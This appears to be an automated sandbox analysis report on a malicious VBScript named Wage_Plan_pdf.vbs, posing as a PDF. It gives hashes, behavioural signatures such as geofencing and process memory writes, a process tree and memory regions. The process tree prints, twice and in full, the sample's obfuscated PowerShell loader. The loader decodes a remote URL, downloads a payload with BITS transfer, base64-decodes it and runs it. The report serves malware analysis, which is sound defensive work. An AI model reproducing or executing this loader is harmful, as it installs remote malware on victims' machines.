Analysis
-
max time kernel
93s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 08:00
Static task
static1
Behavioral task
behavioral1
Sample
Wage_Plan_pdf.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Wage_Plan_pdf.vbs
Resource
win10v2004-20231215-en
General
-
Target
Wage_Plan_pdf.vbs
-
Size
167KB
-
MD5
98d38570369050c3e503e18035277ad8
-
SHA1
384119a540c60cd5c853375a03fdc6080e0e359e
-
SHA256
fa2132896865e53db4ca14d8cad05bd53bcc176bed28e3a39a2ec99501e034a6
-
SHA512
8b1a83a1a4295690494749308f5558765c262305f1a2238a800f4c6fa8d9ebe0a6d52be4993dacf99c45a65c85ffd20107ff02f262d30372ef25c7ae412b4815
-
SSDEEP
3072:xpK6/PeadLaz+kxSzn9Lj7rZeqGbHfNcckB+HGuG5Elx7d5czQON8DdUqYy5:xpKyPeadLaz+k0zn1j7rZeqGbHfNcckg
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 3 3464 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3196 1020 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 2384 powershell.exe 2384 powershell.exe 1020 powershell.exe 1020 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2384 powershell.exe Token: SeDebugPrivilege 1020 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 3464 wrote to memory of 2384 3464 WScript.exe powershell.exe PID 3464 wrote to memory of 2384 3464 WScript.exe powershell.exe PID 2384 wrote to memory of 1020 2384 powershell.exe powershell.exe PID 2384 wrote to memory of 1020 2384 powershell.exe powershell.exe PID 2384 wrote to memory of 1020 2384 powershell.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Wage_Plan_pdf.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Stockist;++$Stockist;$Stockist=$Stockist-1;Function Garantilns ($Gargling){$Plejemoderens=5;$Plejemoderens++;For($Dialektologers=5; $Dialektologers -lt $Gargling.Length-1; $Dialektologers+=$Plejemoderens){$Backhauled = 'substring';$Rechannels=$Gargling.$Backhauled.Invoke($Dialektologers, 1);$Hectare99=$Hectare99+$Rechannels}$Hectare99;}$Fringilliform=Garantilns 'CynorhI.dektTappetkmmespFallesRetur:Preli/Grusn/Skrppdsortlr Iva.iSw atvf,llfe We k.Sulerg BelloTraumoLimaig B,snl UtyseJ,dop.PagancBunk,oDrukkmBozak/ Dis,uDiptycBarsk?AdrameEffloxTropipOr,ngo Asnerva.sktUnobt= UdkedBegivoCommowFratensvaj lFig.toDdsstastrapd Saml&,eseriomkamdPrean=Uspec1DetaiJWurl lO.pla1 ChisSB ueltAddenvTherm_Der.eI TaleH Thes1stabi6Rigs.PV,rro4ReconpGrundscaelig TromuTakstN K,rmPSystehUdvikq EkspeSeksul U ps8StranB di.w_ BlseVMidstsUdrusIFo te2 isai6LightmVaref ';$Monotheistically=$Fringilliform.split([char]62);$Fringilliform=$Monotheistically[0];$Distributee=Garantilns ' SjaliBybude Digix ati ';$Marginally = Garantilns 'N.bul\ Bruds MeloyFebe,sJ niow Su.eo RingwExtra6Harmo4 Bine\MarseWKommaiKreernFil rd AtmooSourbw VarssOpmarPRejunoEjakuwUdf,deBylderP,leoSSk.dehKastae ,andludbril,nrav\ Karbv Uran1V,cev.Yukia0Oktal\MetegpunderoAf,kewAlleyeIn elr MoirsBu.gih Han,eMixtilSavn l hvor. RimpeBjninx MicreNearc ';&($Distributee) (Garantilns 'Depen$HebreF rddeoStorbr Ar izKon tiTilranUnrefkrea teMis.as .mrk=Fago.$Tr,poeFinlnnInsemvMegop: TriawsadisiWanlanAnoredApostiJustirThyrs ') ;&($Distributee) (Garantilns 'Refle$ValutM,ramaaudtryr ancgSwartiFdes,nAf olaNoninldittalMuddeyM.lie=La.re$B.rmaFObseroBatchrP eexzKonfii BrsenK nstkLydigeR debsBogud+Bluet$ ToolMP oreaovermrStreegSynodiBroncnOp.reaunshrl Aparl oosiyMelle ') ;&($Distributee) (Garantilns ' St.d$ A,peENoneclGartnfCi,cur ivvieHerskdProdu Sinde= E.te Dress(Flaky(Langbg PrjuwGombemFattei vede Inst wLeptoi ventn,ekno3Naval2Def n_glo spgud.lrHouseo overcSpirieArccos Trans Socm Deriv-Pa phFWhisk AlloeP Mordr phaco MultcArroze tatssUn,ersinterIUnribdOculi=Spati$ fgif{ UndePDepasIInterDSi gl}M dic)Re ur.ArnalCBurnaoOptimmAss,bmPartoaAnthrn.esludFelinL PyraiIchthnshak e Unvi).opst Cusco- StatsSh arpWar.olBiotoiBestytHders Besti[Oevelc dr.jh Culta FuldrVes i]Nobby3Wiret4kirke ');&($Distributee) (Garantilns 'Fir.d$MotioNChurioKommunF.rpecSkrunoStenvn ImdesArmentFilmiiLaryntTitteuPigmetIns miAcromoT chynKalknaMaintlDr.pr Schem=Subfu Vur.e$ M,nkEBarkklawaitfBondsrblockeS.gesdThymo[Loite$,nderEpulvel.atolfCambir PalpeAfstedDjv,e.Tal icPetrooGiantuFilurnTsetst odke-Depot2Abeya]Oxeto ');&($Distributee) (Garantilns 'Winni$WholeLMb.glaD.minn TrawdNaktistitrahMultieOplysr RetrrGulneeNedbl= Up,a(RiddeTLineoeRheinsTipoltSta.e-,lagoPJusteaElasttMonemhOvipo Forsk$ DdsmMPaa.aa Ratirbodegg LsseiHypocnTsareaAmaralPeatwlbasiayfulds)Whore Ddskr-JharaAEnkron trafdEryth A.oni(Afndt[BurmeIAffrdncellat UdviPHi.metAsthmrAdmin]Krsel:,ilhe: RecesRoll iCompaz ForseKalve Detox-SkrueeestriqSanse Demog8Ul st)Cumpg ') ;if ($Landsherre) {.$Marginally $Nonconstitutional;} else {;$Cancroid=Garantilns ' BibeSForpat,eakea.olonrhjertt Slum-SpunsBMadeli onketH,nlasFlytrT,jakbrKlageaCentrn Ind,s NildfvindheAbl.trDiart Dukey-overrS Dommo Sm.guSph.grPrizecHkleneNonad .egek$ RickFBeraarStateiDa kinSe,gng S ooiAb.orlAnstnl.ediciKa,ecfTrappoErs,arSladrmSapon Coon- tranDVogn,eUndersSerpetUfejli stern DesiaTrosstBrdreiMelanoRetsrnS,idd Ubeke$ E.plF ,enfoPhotor UnprzUnbapiUdsmynSpe,ukIrgeneGrundsOvern ';&($Distributee) (Garantilns 'Fuger$S.ldiFMon.aoWhisprHjemsz UdloiLithonferiekStandeSkilssUnder= bmsb$Radere MatrnVurdevd,cus: ge.naEn.arp vertpFlowndBor.ea AutotI.safaUlivs ') ;&($Distributee) (Garantilns 'B sulIKashymBassyp chkaoRoystr BrnetLangs-mat,iMVrke.o A atdStilluSymbolSkovreconub CuppiBSi peiVgmaltCitatsCompuT Flokr So taForednTypiksiridofForsoeMicrorFo,el ') ;$Forzinkes=$Forzinkes+'\Fartbegrnsningerne.Las';while (-not $Kontrolkommission) {&($Distributee) (Garantilns '.trmp$ ResoK Echioheortn ,chatC lorrRuficoCal.rlregu.k.yphooSvejsm S,rem RessiBefris ascas.akkeiTaiwaoSip onMastu= Bes (Hy.roTtoplaesty,is nblotVeil -AdverPStetoaIctertWhipshTakta P.ano$DeeskF Sofao Re,nrimpu z minkiTykkenGenovk NondeR.beosgharr)Stikl ') ;&($Distributee) $Cancroid;&($Distributee) (Garantilns 'A ywaSInsp,tSmaataLysimrlignitKonku-MemorST,ashlR,troeStyreeMnstepSilag Indsk5Hjemm ');$Fringilliform=$Monotheistically[$Muskallonge++%$Monotheistically.count];}&($Distributee) (Garantilns 'Gailm$FrithMUlorroGlottlFrydelBrevdiHr.rncBefourPlauduTrernsDownlhPreco Toast=Kov,n anteGSemije CountTempo-AfganC JordoBlasfnSpi,etGkkerepauainA.inot Pygm He ve$FluegFI teroO erhrModtazSygemiAfsonnG lankVandfeF rinsPetti ');&($Distributee) (Garantilns 'P ead$polygSFlashcBradey DryspUkammhPasf.oSkyggm Worlako oon Re.ic xtenyLip,c Cheno= Bom, Id li[Damp.S MyceyFi,ias probtForreeReprem Tand. DepoCSludroAnemonBeboevElecteFraktrRgenrttr,ns]Kolvi:Hawth:Ov,rmFSenatrFjernoAlphomSukriBVandpaKoldssEnk lePr,le6Fi.ke4Sti,lSNickotklderrExtraiKonfinValgrgWrea.( Summ$,onosMNomadoUg nnl.elgalUskifi Konsc nnerrImpleuSt,evs rasehUnsuc) ille ');&($Distributee) (Garantilns 'Readi$DopinNCoun,i Ecu nTilineOwlcutDom,ee ShamePa.ntnPaasks U ny Un re=Hundr ,revi[UnsusSEstreyUnmels VamltSemi eUn ormBle,f. SkygTMisste fempxAbirrtWillp.KasseENe linRystncTillboAssemd LittiTrek nAk,ivgOph,h]Savio:Un,it:AfstrABlgetSExactC FedmI CinqIEner . UdstGSknaae K ast B,stS Pol,t A,merSkrivi.ydninFors g,osse(Sle,f$Na,hjSCaesacfasteyUp eapNonfah Saz omisdim St kaStatsnA inoc For,yB edn)Konto ');&($Distributee) (Garantilns 'Strat$KoordAPol,efMort svenanvbaanda F,dem BeefpTab,ln UnfriAssemn Opgrg Trede raarlavlanOverse Vi d=Fil.d$Sekt,NDisf iA.ulanEvoleeTotrit ShireAntimehavesnRecalsLa.tl.UdrigsUnfudu,stpabu quasLa.dotO.erhrUnexeiTidsfn Fod gPropo(Su er3Cesu.2 Pu,s7Behan4Foo,r4 labb3 Viol,Woodl2kam.r5Skiff9,ilgi9Mucks7Inhal) sams ');&($Distributee) $Afsvampningerne;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Stockist;++$Stockist;$Stockist=$Stockist-1;Function Garantilns ($Gargling){$Plejemoderens=5;$Plejemoderens++;For($Dialektologers=5; $Dialektologers -lt $Gargling.Length-1; $Dialektologers+=$Plejemoderens){$Backhauled = 'substring';$Rechannels=$Gargling.$Backhauled.Invoke($Dialektologers, 1);$Hectare99=$Hectare99+$Rechannels}$Hectare99;}$Fringilliform=Garantilns 'CynorhI.dektTappetkmmespFallesRetur:Preli/Grusn/Skrppdsortlr Iva.iSw atvf,llfe We k.Sulerg BelloTraumoLimaig B,snl UtyseJ,dop.PagancBunk,oDrukkmBozak/ Dis,uDiptycBarsk?AdrameEffloxTropipOr,ngo Asnerva.sktUnobt= UdkedBegivoCommowFratensvaj lFig.toDdsstastrapd Saml&,eseriomkamdPrean=Uspec1DetaiJWurl lO.pla1 ChisSB ueltAddenvTherm_Der.eI TaleH Thes1stabi6Rigs.PV,rro4ReconpGrundscaelig TromuTakstN K,rmPSystehUdvikq EkspeSeksul U ps8StranB di.w_ BlseVMidstsUdrusIFo te2 isai6LightmVaref ';$Monotheistically=$Fringilliform.split([char]62);$Fringilliform=$Monotheistically[0];$Distributee=Garantilns ' SjaliBybude Digix ati ';$Marginally = Garantilns 'N.bul\ Bruds MeloyFebe,sJ niow Su.eo RingwExtra6Harmo4 Bine\MarseWKommaiKreernFil rd AtmooSourbw VarssOpmarPRejunoEjakuwUdf,deBylderP,leoSSk.dehKastae ,andludbril,nrav\ Karbv Uran1V,cev.Yukia0Oktal\MetegpunderoAf,kewAlleyeIn elr MoirsBu.gih Han,eMixtilSavn l hvor. RimpeBjninx MicreNearc ';&($Distributee) (Garantilns 'Depen$HebreF rddeoStorbr Ar izKon tiTilranUnrefkrea teMis.as .mrk=Fago.$Tr,poeFinlnnInsemvMegop: TriawsadisiWanlanAnoredApostiJustirThyrs ') ;&($Distributee) (Garantilns 'Refle$ValutM,ramaaudtryr ancgSwartiFdes,nAf olaNoninldittalMuddeyM.lie=La.re$B.rmaFObseroBatchrP eexzKonfii BrsenK nstkLydigeR debsBogud+Bluet$ ToolMP oreaovermrStreegSynodiBroncnOp.reaunshrl Aparl oosiyMelle ') ;&($Distributee) (Garantilns ' St.d$ A,peENoneclGartnfCi,cur ivvieHerskdProdu Sinde= E.te Dress(Flaky(Langbg PrjuwGombemFattei vede Inst wLeptoi ventn,ekno3Naval2Def n_glo spgud.lrHouseo overcSpirieArccos Trans Socm Deriv-Pa phFWhisk AlloeP Mordr phaco MultcArroze tatssUn,ersinterIUnribdOculi=Spati$ fgif{ UndePDepasIInterDSi gl}M dic)Re ur.ArnalCBurnaoOptimmAss,bmPartoaAnthrn.esludFelinL PyraiIchthnshak e Unvi).opst Cusco- StatsSh arpWar.olBiotoiBestytHders Besti[Oevelc dr.jh Culta FuldrVes i]Nobby3Wiret4kirke ');&($Distributee) (Garantilns 'Fir.d$MotioNChurioKommunF.rpecSkrunoStenvn ImdesArmentFilmiiLaryntTitteuPigmetIns miAcromoT chynKalknaMaintlDr.pr Schem=Subfu Vur.e$ M,nkEBarkklawaitfBondsrblockeS.gesdThymo[Loite$,nderEpulvel.atolfCambir PalpeAfstedDjv,e.Tal icPetrooGiantuFilurnTsetst odke-Depot2Abeya]Oxeto ');&($Distributee) (Garantilns 'Winni$WholeLMb.glaD.minn TrawdNaktistitrahMultieOplysr RetrrGulneeNedbl= Up,a(RiddeTLineoeRheinsTipoltSta.e-,lagoPJusteaElasttMonemhOvipo Forsk$ DdsmMPaa.aa Ratirbodegg LsseiHypocnTsareaAmaralPeatwlbasiayfulds)Whore Ddskr-JharaAEnkron trafdEryth A.oni(Afndt[BurmeIAffrdncellat UdviPHi.metAsthmrAdmin]Krsel:,ilhe: RecesRoll iCompaz ForseKalve Detox-SkrueeestriqSanse Demog8Ul st)Cumpg ') ;if ($Landsherre) {.$Marginally $Nonconstitutional;} else {;$Cancroid=Garantilns ' BibeSForpat,eakea.olonrhjertt Slum-SpunsBMadeli onketH,nlasFlytrT,jakbrKlageaCentrn Ind,s NildfvindheAbl.trDiart Dukey-overrS Dommo Sm.guSph.grPrizecHkleneNonad .egek$ RickFBeraarStateiDa kinSe,gng S ooiAb.orlAnstnl.ediciKa,ecfTrappoErs,arSladrmSapon Coon- tranDVogn,eUndersSerpetUfejli stern DesiaTrosstBrdreiMelanoRetsrnS,idd Ubeke$ E.plF ,enfoPhotor UnprzUnbapiUdsmynSpe,ukIrgeneGrundsOvern ';&($Distributee) (Garantilns 'Fuger$S.ldiFMon.aoWhisprHjemsz UdloiLithonferiekStandeSkilssUnder= bmsb$Radere MatrnVurdevd,cus: ge.naEn.arp vertpFlowndBor.ea AutotI.safaUlivs ') ;&($Distributee) (Garantilns 'B sulIKashymBassyp chkaoRoystr BrnetLangs-mat,iMVrke.o A atdStilluSymbolSkovreconub CuppiBSi peiVgmaltCitatsCompuT Flokr So taForednTypiksiridofForsoeMicrorFo,el ') ;$Forzinkes=$Forzinkes+'\Fartbegrnsningerne.Las';while (-not $Kontrolkommission) {&($Distributee) (Garantilns '.trmp$ ResoK Echioheortn ,chatC lorrRuficoCal.rlregu.k.yphooSvejsm S,rem RessiBefris ascas.akkeiTaiwaoSip onMastu= Bes (Hy.roTtoplaesty,is nblotVeil -AdverPStetoaIctertWhipshTakta P.ano$DeeskF Sofao Re,nrimpu z minkiTykkenGenovk NondeR.beosgharr)Stikl ') ;&($Distributee) $Cancroid;&($Distributee) (Garantilns 'A ywaSInsp,tSmaataLysimrlignitKonku-MemorST,ashlR,troeStyreeMnstepSilag Indsk5Hjemm ');$Fringilliform=$Monotheistically[$Muskallonge++%$Monotheistically.count];}&($Distributee) (Garantilns 'Gailm$FrithMUlorroGlottlFrydelBrevdiHr.rncBefourPlauduTrernsDownlhPreco Toast=Kov,n anteGSemije CountTempo-AfganC JordoBlasfnSpi,etGkkerepauainA.inot Pygm He ve$FluegFI teroO erhrModtazSygemiAfsonnG lankVandfeF rinsPetti ');&($Distributee) (Garantilns 'P ead$polygSFlashcBradey DryspUkammhPasf.oSkyggm Worlako oon Re.ic xtenyLip,c Cheno= Bom, Id li[Damp.S MyceyFi,ias probtForreeReprem Tand. DepoCSludroAnemonBeboevElecteFraktrRgenrttr,ns]Kolvi:Hawth:Ov,rmFSenatrFjernoAlphomSukriBVandpaKoldssEnk lePr,le6Fi.ke4Sti,lSNickotklderrExtraiKonfinValgrgWrea.( Summ$,onosMNomadoUg nnl.elgalUskifi Konsc nnerrImpleuSt,evs rasehUnsuc) ille ');&($Distributee) (Garantilns 'Readi$DopinNCoun,i Ecu nTilineOwlcutDom,ee ShamePa.ntnPaasks U ny Un re=Hundr ,revi[UnsusSEstreyUnmels VamltSemi eUn ormBle,f. SkygTMisste fempxAbirrtWillp.KasseENe linRystncTillboAssemd LittiTrek nAk,ivgOph,h]Savio:Un,it:AfstrABlgetSExactC FedmI CinqIEner . UdstGSknaae K ast B,stS Pol,t A,merSkrivi.ydninFors g,osse(Sle,f$Na,hjSCaesacfasteyUp eapNonfah Saz omisdim St kaStatsnA inoc For,yB edn)Konto ');&($Distributee) (Garantilns 'Strat$KoordAPol,efMort svenanvbaanda F,dem BeefpTab,ln UnfriAssemn Opgrg Trede raarlavlanOverse Vi d=Fil.d$Sekt,NDisf iA.ulanEvoleeTotrit ShireAntimehavesnRecalsLa.tl.UdrigsUnfudu,stpabu quasLa.dotO.erhrUnexeiTidsfn Fod gPropo(Su er3Cesu.2 Pu,s7Behan4Foo,r4 labb3 Viol,Woodl2kam.r5Skiff9,ilgi9Mucks7Inhal) sams ');&($Distributee) $Afsvampningerne;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 26084⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1020 -ip 10201⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dsa1nwqx.sil.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1020-24-0x0000000005EA0000-0x0000000005F06000-memory.dmpFilesize
408KB
-
memory/1020-41-0x0000000007860000-0x0000000007882000-memory.dmpFilesize
136KB
-
memory/1020-30-0x0000000006000000-0x0000000006066000-memory.dmpFilesize
408KB
-
memory/1020-45-0x0000000074FC0000-0x0000000075770000-memory.dmpFilesize
7.7MB
-
memory/1020-35-0x0000000006170000-0x00000000064C4000-memory.dmpFilesize
3.3MB
-
memory/1020-18-0x0000000005080000-0x00000000050B6000-memory.dmpFilesize
216KB
-
memory/1020-19-0x0000000074FC0000-0x0000000075770000-memory.dmpFilesize
7.7MB
-
memory/1020-36-0x0000000006650000-0x000000000666E000-memory.dmpFilesize
120KB
-
memory/1020-21-0x0000000005230000-0x0000000005240000-memory.dmpFilesize
64KB
-
memory/1020-22-0x0000000005870000-0x0000000005E98000-memory.dmpFilesize
6.2MB
-
memory/1020-23-0x0000000005790000-0x00000000057B2000-memory.dmpFilesize
136KB
-
memory/1020-44-0x0000000007CD0000-0x0000000007CE4000-memory.dmpFilesize
80KB
-
memory/1020-43-0x0000000007C30000-0x0000000007C52000-memory.dmpFilesize
136KB
-
memory/1020-42-0x0000000008680000-0x0000000008C24000-memory.dmpFilesize
5.6MB
-
memory/1020-20-0x0000000005230000-0x0000000005240000-memory.dmpFilesize
64KB
-
memory/1020-37-0x00000000066A0000-0x00000000066EC000-memory.dmpFilesize
304KB
-
memory/1020-38-0x0000000008000000-0x000000000867A000-memory.dmpFilesize
6.5MB
-
memory/1020-39-0x0000000006BE0000-0x0000000006BFA000-memory.dmpFilesize
104KB
-
memory/1020-40-0x00000000078D0000-0x0000000007966000-memory.dmpFilesize
600KB
-
memory/2384-14-0x00007FF9CC700000-0x00007FF9CD1C1000-memory.dmpFilesize
10.8MB
-
memory/2384-17-0x000001ED51730000-0x000001ED51740000-memory.dmpFilesize
64KB
-
memory/2384-16-0x000001ED51730000-0x000001ED51740000-memory.dmpFilesize
64KB
-
memory/2384-13-0x000001ED51700000-0x000001ED51722000-memory.dmpFilesize
136KB
-
memory/2384-15-0x000001ED51730000-0x000001ED51740000-memory.dmpFilesize
64KB
-
memory/2384-48-0x00007FF9CC700000-0x00007FF9CD1C1000-memory.dmpFilesize
10.8MB